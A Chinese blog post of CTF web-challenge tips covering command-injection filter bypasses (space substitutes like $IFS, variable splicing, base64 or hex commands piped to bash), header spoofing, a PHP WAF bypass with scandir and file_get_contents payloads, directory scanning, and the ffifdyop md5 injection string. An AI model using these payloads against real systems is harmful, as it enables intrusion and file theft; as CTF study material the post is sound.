一些Web题技巧

青灯古酒 发布于 2021-11-13 1822 次阅读


过滤空格绕过:

$IFS在Linux下表示为空格
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)

ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag


过滤flag绕过:

1.简单变量替换:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

2.变量ab互换传递,绕过字符串匹配,实现拼接:

?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php

3.内联执行:

?ip=127.0.0.1;a=g;cat$IFS$9`ls`(注意此处为`,不是')

4.被过滤的bash,用管道+sh替换:

cat flag.php用base64加密来绕过正则匹配,cat flag.php->Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
大概思路:
cat fl* (用*匹配任意)
cat fla*(用*匹配任意)

ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样
cat fl[a]g.php 用[]匹配
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的
[GXYCTF2019] Ping Ping Ping


网页要求修改header头:

Referer:https://www.xxx.com
网页要求使用特定浏览器:

User-Agent:xxx
网页要求使用特定ip地址:

X-Forwarded-For:127.0.0.1
[极客大挑战 2019]Http


vardump()函数:用来打印
scandir()函数:用来获取目录文件
在变量前加’ ‘(空格)可以绕过waf:这是php的机制,在传进php代码的url时,一些字符会被忽略或变成

因为php一般是这样$_GET[‘num’]获取url传进来的参数,当有一些奇怪的字符和参数写在一些时,如%[num%id],它会变成$_GET[‘num_id’]。所以在num前加个空格可以绕过waf并且php会把它当成正常的num使用,此时并不是’ num’而是‘num’。
/calc.php? num=2;var_dump(scandir(chr(47)))


打开f1agg:

/calc.php num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))


扫描网页备份文件:

1.用御剑直接扫

2.用dirsearch直接扫:

dirsearch -u http://ba612f87-1698-4d82-9036-aa3590fe29c4.node3.buuoj.cn/ -e php


看见md5($pass,true)函数:

使用ffifdyop
[BJDCTF2020]Easy MD5